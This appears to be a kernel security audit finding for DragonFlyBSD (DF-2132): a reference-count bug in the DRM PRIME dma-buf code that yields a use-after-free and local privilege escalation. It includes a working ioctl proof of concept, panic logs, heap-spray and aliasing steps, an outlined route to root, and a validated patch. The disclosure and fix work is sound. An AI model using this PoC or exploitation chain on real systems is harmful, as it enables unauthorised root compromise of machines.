β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2132

dma_buf_get returns unrefcounted pointer; caller dma_buf_put over-drops f_count causing UAF (local unpriv->root)

Field Value
ID DF-2132
Status new
Severity Critical
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-416 Use After Free; CWE-911 Improper Update of Reference Count
File sys/dev/drm/linux_dma-buf.c
Lines 174-186
Area drm/linuxkpi
Confidence certain
Discovered 2026-07-25
Reported pending
Known CVE none
CVE match dfly_specific

Summary

dma_buf_get() calls holdfp(curthread, fd, -1) to borrow a reference, extracts fp->private_data into dmabuf, then calls dropfp(curthread, fd, fp) to return the borrow — leaving the returned dmabuf with zero references held. Every caller in the DRM PRIME path (drm_prime.c:802→848/857/864) then calls dma_buf_put() which does fdrop(dmabuf->file), decrementing f_count by one that the caller never owned. Repeated PRIME_FD_TO_HANDLE ioctls drive f_count to zero while the fd-table slot still points at the freed struct file, yielding a deterministic use-after-free exploitable for local unpriv→root.

Root cause

dma_buf_get at linux_dma-buf.c:174-186:

fp = holdfp(curthread, fd, -1);   /* borrows fd-cache ref (no fhold in cache-hit) */
...
dmabuf = fp->private_data;
dropfp(curthread, fd, fp);        /* returns borrow (no fdrop in cache-hit) */
return dmabuf;                    /* caller holds ZERO references */

dma_buf_put at dma-buf.h:118:

fdrop(dmabuf->file);              /* unconditional f_count decrement */

The caller drm_gem_prime_fd_to_handle (drm_prime.c:802-864): - Line 802: dma_buf = dma_buf_get(prime_fd) β€” no held ref. - Line 814: lookup-hit β†’ goto out_put β†’ line 864: dma_buf_put(dma_buf) β†’ fdrop β€” one decrement without matching increment!

After one lookup-hit cycle, f_count goes to 0, the struct file is freed, but the fd-table entry still holds a dangling pointer. Any subsequent operation on the fd (close, fstat, ioctl, dup) dereferences freed memory in the M_FILE slab zone.

The success path is balanced: line 831 get_dma_buf(dma_buf) does fhold (+1), then line 848 dma_buf_put does fdrop (-1), net 0. But both error paths (lines 857, 864) and the lookup-hit path (line 864) call dma_buf_put without a preceding get_dma_buf.

Threat model & preconditions

  • Attacker position: unprivileged local user with access to a DRM render node (/dev/dri/renderD128, typically mode 0666 or group video).
  • Privileges gained or impact: use-after-free in M_FILE slab β†’ with standard heap-grooming techniques (spraying the file zone via pipe/sendmsg/eventfd allocations), this is local unprivβ†’kernel code executionβ†’uid 0.
  • Required config or capabilities: any DRM driver with DRIVER_PRIME (i915, amdgpu, radeon).
  • Reachability: no race condition required β€” the bug is deterministic in a single-threaded process: 1. DRM_IOCTL_MODE_CREATE_DUMB β†’ GEM handle 2. DRM_IOCTL_PRIME_HANDLE_TO_FD β†’ dma_buf fd (f_count=1) 3. DRM_IOCTL_PRIME_FD_TO_HANDLE (first import) β†’ success, balanced 4. DRM_IOCTL_PRIME_FD_TO_HANDLE (second import, lookup-hit) β†’ dma_buf_put without get_dma_buf β†’ f_count 1β†’0 β†’ freed! 5. Any operation on the dangling fd β†’ UAF

Proof of Concept

/* dfbsd-dmabuf-uaf.c β€” deterministic UAF via PRIME refcount over-drop */
int drm = open("/dev/dri/renderD128", O_RDWR);
struct drm_mode_create_dumb create = { .width=64, .height=64, .bpp=32 };
ioctl(drm, DRM_IOCTL_MODE_CREATE_DUMB, &create);
struct drm_prime_handle ph = { .handle = create.handle, .flags = 0 };
ioctl(drm, DRM_IOCTL_PRIME_HANDLE_TO_FD, &ph);
int dmabuf_fd = ph.fd;
/* First import: succeeds, balanced refcount */
struct drm_prime_handle fh1 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh1);
/* Second import: lookup-hit, dma_buf_put over-drops f_count to 0 */
struct drm_prime_handle fh2 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh2);
/* dmabuf_fd now references freed M_FILE slab memory */
close(dmabuf_fd);  /* UAF */

Convert the borrowed holdfp reference into a real held reference before returning, so the caller's dma_buf_put correctly balances it. The fhold()+dropfp() idiom is the standard DragonFlyBSD pattern for this conversion.

--- a/sys/dev/drm/linux_dma-buf.c
+++ b/sys/dev/drm/linux_dma-buf.c
@@ -181,8 +181,12 @@ dma_buf_get(int fd)
        kprintf("dma_buf_get(): file->f_ops != &dmabuf_fileops\n");
        dropfp(curthread, fd, fp);
        return ERR_PTR(-EBADF);
    }

    dmabuf = fp->private_data;
+   /* Hold a real reference for the caller β€” dma_buf_put() will fdrop it. */
+   fhold(fp);
    dropfp(curthread, fd, fp);

    return dmabuf;

Timeline

  • 2026-07-25 Discovered during automated audit.
  • 2026-07-25 Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2132 Β· 23 files
FileTypeDescriptionSize
df2132_rig.c poc-source KLD rig: production drm.ko symbols driven in unprivileged ioctl context 13.0 KB view raw
df2132_user.c poc-source unprivileged trigger, modes A/B/c/C 10.7 KB view raw
df2132.h poc-source shared ioctl interface 2.0 KB view raw
Makefile build kmod.mk build for the rig 318 B ↓ download
build.sh build in-guest build (records production md5s, builds rig + trigger) 163 B view raw
run.sh run load modules + fire unprivileged trigger 191 B view raw
xfer.sh build host->guest transfer helper 785 B view raw
build.log build-log authentic in-guest build output 1.5 KB view raw
setup.log build-log production code identity (md5 + nm) 367 B view raw
run.log run-log combined decisive baseline record 4.7 KB view raw
run_A.log run-log oracle: resting f_count drops per import (2 runs) 1019 B view raw
run_c.out run-log reclaim/alias/functional-UAF-read/steal record 1.0 KB view raw
logs/panic_modeB_final.txt panic premature free + 'fdrop: invalid f_count -1' panic 3.0 KB view raw
logs/panic_modeB_full.txt panic second capture of the mode B panic 2.6 KB view raw
logs/panic_modeA_closeafter2imports.txt panic 'fdrop: invalid f_count 0' close variant 2.3 KB view raw
logs/panic_modeC_full.txt panic alias+steal session ending in panic 2.7 KB view raw
logs/dmesg_mode_c.txt run-log console-side mode c record 1.2 KB view raw
fix.diff suggested-fix fhold(fp) before dropfp in dma_buf_get (validated) 391 B view raw
fix_build.log build-log patched drm.ko build (captured tail + md5s) 726 B view raw
env.txt environment guest environment 908 B view raw
reachability.txt environment pass-1 guest survey (no GPU / no /dev/dri) 1.6 KB view raw
VERDICT.md verdict full narrative with path:line 8.7 KB ↓ raw
verdict.json verdict machine verdict 7.9 KB view raw
VERDICT.md verdict full narrative with path:line
↓ download raw

DF-2132 β€” VERDICT: REPRODUCED (production code, deterministic) + FIX VALIDATED

Status: reproduced. Impact: kernel memory corruption (UAF / refcount-underflow β†’ premature free with dangling fd-table reference); deterministic; unprivileged trigger context; no race required. Confidence: certain.

1. Root cause (source-traced, line-accurate)

dma_buf_get() β€” sys/dev/drm/linux_dma-buf.c:168-187:

if ((fp = holdfp(curthread, fd, -1)) == NULL)      /* :174 borrow */
        return ERR_PTR(-EBADF);
...
dmabuf = fp->private_data;                         /* :183 */
dropfp(curthread, fd, fp);                         /* :184 return borrow */
return dmabuf;                                     /* :186 ZERO owned refs */

holdfp() (kern_descrip.c:2765) returns either a borrowed per-thread fd-cache reference (fast path, +0) or a newly-fholded reference that dropfp() (kern_descrip.c:510) hands to the fd cache β€” in both cases the net f_count change across the dma_buf_get() body is zero, and the returned dmabuf owns nothing.

dma_buf_put() β€” sys/dev/drm/include/linux/dma-buf.h:110-120 (production static inline, compiled into drm_prime.c):

static inline void dma_buf_put(struct dma_buf *dmabuf) {
        ...
        fdrop(dmabuf->file);                        /* unconditional -1 */
}

Caller composition β€” drm_gem_prime_fd_to_handle(), sys/dev/drm/drm_prime.c:795-866:

  • :802 dma_buf = dma_buf_get(prime_fd); (0 owned refs)
  • :812-814 lookup-hit (ret == 0) β†’ goto out_put
  • :864 out_put: ... dma_buf_put(dma_buf); β†’ fdrop of a reference the caller never acquired
  • error path :857 (via out_unlock β†’ out_put) β€” same over-drop.
  • The success path (:831 get_dma_buf fhold, :848 dma_buf_put fdrop) is count-neutral at that moment, but the reference it stores on the GEM object (obj->dma_buf) is phantom: when the object is later destroyed, drm_gem.c:271 dma_buf_put(obj->dma_buf) drops yet another unowned reference β€” the same underflow, delayed.

In Linux, dma_buf_get() uses fget() and returns owning one reference, which the caller's dma_buf_put() (fput) consumes β€” balanced. The DragonFly port dropped the ownership transfer and kept the put.

2. Observable arithmetic (measured on the guest, production drm.ko)

dma_buf_export() (linux_dma-buf.c:118-137) fallocs the file (f_count=1, kern_descrip.c:2118) and dma_buf_fd() (linux_dma-buf.c:139-166) fsetfds it (+1, kern_descrip.c:2190); neither ever drops the falloc reference (a production leak that masks exactly one over-drop). Resting count after export: 2, plus one transient fd-cache reference once any holdfp runs.

Measured with the rig (console record, logs/panic_modeB_final.txt):

[export] cpu2 dma_buf fd=4 fp=0xfffff80116c4ce00 f_count=2
[import] fd=4 f_count 3->2 (over-drop: put consumed a ref nobody acquired)
[import] fd=4 f_count 2->1 (over-drop)
[import] fd=4 f_count 1->0: *** STRUCT FILE FREED INSIDE dma_buf_put
         WHILE FD-TABLE SLOT STILL REFERENCES IT ***
[info]   fd=4 release_count=3 slot_valid=1 slot_is_saved=1
[user]   mode B: premature free CONFIRMED, slot dangling
panic: fdrop: invalid f_count -1
        kern_close() -> closef() -> fdrop()

The 1β†’0 transition happens inside dma_buf_put() β†’ fdrop() (kern_descrip.c:3120-3175): LIST_REMOVE from the filehead, fo_close = dmabuf_close (linux_dma-buf.c:55-68: ops->release + kfree(dmabuf)), ffree β†’ kfree_obj(fp, M_FILE) β€” while the fd-table slot and the thread fd-cache entry still point at the freed chunk (proven by slot_is_saved=1, read under fd_spin without dereferencing).

3. Use-after-free manifestations (all observed)

  1. close(dangling_fd) β†’ kern_close β†’ funsetfd_locked β†’ fclearcache (kern_descrip.c:247) does a raw atomic_add_int(&fp->f_count, -1) on freed memory (silent UAF write β†’ βˆ’1), then closef β†’ fdrop reads the poisoned count: panic: fdrop: invalid f_count -1 (INVARIANTS tripwire).
  2. Earlier variant (two over-drops, then close): the fclearcache write lands while the chunk is still the live-but-undercounted file β†’ panic: fdrop: invalid f_count 0 (logs/panic_modeA_closeafter2imports.txt).
  3. On a production (noinv) kernel these tripwires do not exist: the silent primitives below run to completion.

4. Exploitation push (mode c β€” demonstrated)

  • Reclaim: DF's kmalloc_obj allocator (kern_kmalloc.c:680,926) is a per-slab FIFO ring (free pushes at findex tail, alloc pops at aindex head), not LIFO β€” a naive spray misses. A ~960-allocation bare falloc spray (rig, same process) reoccupies the freed chunk: dummy file fd=952 REOCCUPIED the freed chunk.
  • Cross-type alias: freeing that dummy returns the chunk to the (now shallow) ring; a plain userland open("/dev/null") lands on the exact freed address (fp=0x...daf700 == saved fp).
  • Functional UAF: read() through the dangling dma-buf fd succeeds (returns 0 = EOF, dispatched via the reclaimed file's ops) β€” the fd-table slot now serves an unrelated object type.
  • Silent reference steal: close() of the aliased fd frees the object again while the dangling fd still references it β€” re-arming the dangling state at will, count-silent (no KASSERT on any kernel).

Remaining distance to uid=0 (honest assessment)

M_FILE is a dedicated MALLOC_DEFINE_OBJ zone (kern_descrip.c:112) of sizeof(struct file) chunks β€” arbitrary attacker content cannot be placed there directly; only real struct files. The demonstrated route (consistent with historical BSD file-UAF exploits) is the aliasing primitive: two fd-table slots referencing one fp let the attacker drive any file object to a premature free at a chosen moment (steal), leaving dangling references in subsystems that hold raw fp pointers without refcounts (knote lists, struct kqueue/poll registrations, blocked syscall threads) β€” then reclaim the chunk with a file of a different type and reach a f_ops/f_data type confusion, which on this guest (no SMAP/SMEP/KASLR) is a direct function-pointer hijack β†’ ROP β†’ cred overwrite. This weaponization was not completed in this run: each candidate confusion partner on this INVARIANTS kernel trips a KASSERT early by design, and the raw-fp-holder races need dedicated grooming work. The primitive set (deterministic premature free, cross-type functional aliasing, repeatable silent steal) is demonstrated; feasibility of the final step is assessed as high but unproven here.

5. Reachability

  • Real hardware: any DRM driver with PRIME (i915/amdgpu/radeon) β€” unprivileged render-node ioctls (DRM_IOCTL_PRIME_HANDLE_TO_FD then repeated DRM_IOCTL_PRIME_FD_TO_HANDLE), single-threaded, deterministic. See the finding markdown for the exact ioctl sequence.
  • This guest: no GPU β†’ no /dev/dri (see reachability.txt), so the PoC drives the identical production code via the KLD rig (/dev/df2132, 0666, unprivileged trigger context). The rig adds no DRM behavior of its own; it supplies only the dma_buf_ops stand-in a GEM driver would supply and reports observable state.

6. Fix validation

fix.diff (one hunk, linux_dma-buf.c:183): fhold(fp) before dropfp() β€” the caller-owned reference dma_buf_put() expects.

check baseline (production drm.ko) patched drm.ko (rebuilt in-guest)
mode A resting f_count 3 β†’ 2 (drops per import) 3 β†’ 3 (unchanged)
mode B after 8 imports freed at import #3, slot dangling, panic 8Γ— 4β†’3, NO PREMATURE FREE, rc=0
mode C reclaim + alias + steal + panic nothing to reclaim, rc=0

Patched module: fix_build.log (link line + size), runs: fix_run.log.

7. Artifacts index

  • run.log β€” combined decisive baseline record
  • run_A.log β€” oracle runs (2Γ—, bug present)
  • run_c.out β€” user-side exploit-push record
  • logs/panic_modeB_final.txt, logs/panic_modeB_full.txt β€” premature-free panics
  • logs/panic_modeA_closeafter2imports.txt β€” f_count-0 close variant
  • logs/panic_modeC_full.txt, logs/dmesg_mode_c.txt β€” alias/steal + final panic
  • logs/mode_c_run2.txt β€” FIFO-ring spray-miss instrumentation (allocator behavior)
  • build.log, setup.log β€” in-guest build + production-code identity (md5)
  • fix.diff, fix_build.log, fix_run.log β€” fix + validation

Fix status (batch validation)

Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Single-fix kernel (patched drm.ko only, same base kernel): baseline shows resting f_count -1 per import, premature free at import #3 with slot_is_saved=1, and 'panic: fdrop: invalid f_count -1' on dangling close; patched shows resting count unchanged, 8 imports never free, modes A/B/C all exit rc=0. Bad behavior GONE with no regressions in the rig matrix.

fix_run.log lines: 'ORACLE: resting count UNCHANGED (3) => get/put balanced: FIXED', 'NO PREMATURE FREE after 8 imports (f_count never reached 0) => FIXED kernel', rcA=0 rcB=0 rcC=0; contrast logs/panic_modeB_final.txt 'f_count 1->0 *** FREED ***' + panic. fix_build.log: patched drm.ko linked (780104 bytes, md5 8cd358acbf4aeb34638f2e0008e3aab3 vs baseline f6bc054cefba22aafcbd30824438b742).
↓ fix.diffDragonFly dfbsd 6.5-DEVELOPMENT #0 (X86_64_GENERIC baseline kernel + per-fix-DF-2132 patched drm.ko module)

Confirmed kernel references

Detail

Exploit chain

unprivileged trigger -> production dma_buf_get returns 0-ref dmabuf -> production dma_buf_put fdrop per import -> f_count 3->2->1->0 -> struct file freed inside dma_buf_put while fd-table slot + thread fd-cache entry dangle -> [demonstrated] same-zone reclaim after ~960 falloc spray -> /dev/null lands on freed address -> read() through dangling fd (functional alias) -> close(aliased fd) = silent reference steal re-arming the dangling state -> close(dangling fd) = UAF write + panic; [assessed, not completed] repeat steal against a subsystem holding raw fp -> reclaim with different file type -> f_ops/f_data confusion -> function-pointer hijack (no SMAP/SMEP/KASLR) -> uid=0

Evidence (decisive lines)

run.log (combined baseline record); run_A.log (resting f_count 3->2 per import, 2 runs); logs/panic_modeB_final.txt + panic_modeB_full.txt ('[import] f_count 1->0 *** STRUCT FILE FREED INSIDE dma_buf_put ***', '[info] slot_is_saved=1', 'panic: fdrop: invalid f_count -1' in kern_close); logs/panic_modeA_closeafter2imports.txt ('invalid f_count 0' variant); run_c.out + logs/dmesg_mode_c.txt (dummy reoccupies freed chunk ~960 allocs; /dev/null fp == freed fp 0xfffff80116daf700; read(dangling fd)=0; aliased close = silent steal); fix_run.log + fix_build.log (patched: oracle UNCHANGED, NO PREMATURE FREE, rc=0 A/B/C)

PoC changes

Replaced the pass-1 'HW-gated, not reproduced' verdict with a production-code KLD rig: (1) rig resolves dma_buf_export/dma_buf_fd/dma_buf_get/dmabuf_fileops from the shipped drm.ko (MODULE_DEPEND) and replays the drm_prime.c lookup-hit composition verbatim (dma_buf_put compiled from the production header); (2) trigger runs as nobody via /dev/df2132 (0666) mirroring a render node; (3) rig reports f_count before/after each import, the fd-table slot state (no deref), the ops->release counter, and kernel addresses; (4) exploitation push added: bare-falloc spray + /dev/null land + functional read through the dangling fd + silent steal (learned en route: DF kmalloc_obj is a per-slab FIFO ring so LIFO sprays miss -- documented); (5) durable console-side logging because guest-side files do not survive panics (UFS softupdates); (6) fix validation by in-guest drm.ko rebuild + rerun of all modes.

Verified recommended fix

In dma_buf_get(), take a caller-owned reference before returning the borrow: fhold(fp) immediately after extracting dmabuf->file and before dropfp() (mirrors Linux fget semantics; validated on a rebuilt drm.ko).

Verdict

REPRODUCED with production code and fix validated. dma_buf_get() (sys/dev/drm/linux_dma-buf.c:168-187) returns a struct dma_buf owning ZERO f_count references (holdfp borrow + dropfp return), while every drm_prime.c caller (drm_prime.c:802) later calls dma_buf_put() (include/linux/dma-buf.h:110-120, unconditional fdrop) -- each PRIME_FD_TO_HANDLE lookup-hit iteration decrements f_count by one nobody acquired. A KLD rig resolving the REAL shipped /boot/kernel/drm.ko symbols (dma_buf_export/dma_buf_fd/dma_buf_get/dmabuf_fileops; md5 + nm recorded in setup.log) and replaying the exact drm_prime.c:802->814->864 sequence in an unprivileged process context (/dev/df2132 mode 0666, run as nobody) shows: resting f_count drops by exactly 1 per import; after 3 imports the struct file is freed INSIDE dma_buf_put while the fd-table slot still points at it (slot_is_saved=1 measured under fd_spin); close() of the dangling fd does a silent atomic f_count write on freed memory (fclearcache, kern_descrip.c:247) and then panics 'fdrop: invalid f_count -1' via kern_close->closef->fdrop (both -1 and 0 variants captured). Exploit push demonstrated: the freed M_FILE chunk is reoccupied by a ~960-allocation spray (DF kmalloc_obj is a per-slab FIFO ring, not LIFO -- naive sprays miss, kern_kmalloc.c:680/926), a /dev/null open lands on the exact freed address, read() through the DANGLING dma-buf fd succeeds (functional cross-type alias), and closing the aliased fd silently frees the object again under the dangling fd (repeatable reference steal, silent on any kernel). Full uid=0 weaponization not completed this run: M_FILE is a dedicated MALLOC_DEFINE_OBJ zone (no arbitrary-content reclaim), and the INVARIANTS kernel trips KASSERTs at candidate confusion states by design; the demonstrated primitive set (deterministic premature free + cross-type aliasing + silent steal) is the standard starting point for file-UAF root chains -- remaining route (steal refs of a live file out from a raw-fp holder, reclaim with a different file type, f_ops/f_data confusion -> on this no-SMAP/SMEP/KASLR guest a direct function-pointer hijack) documented in VERDICT.md. On real hardware the unprivileged front door is any DRM render node (/dev/dri/renderD128); single-threaded, no race. FIX VALIDATED: fhold(fp) before dropfp in dma_buf_get (fix.diff); drm.ko rebuilt in-guest from patched /usr/src, rig re-run: resting count unchanged, 8 imports never free, all modes exit 0 (fix_run.log).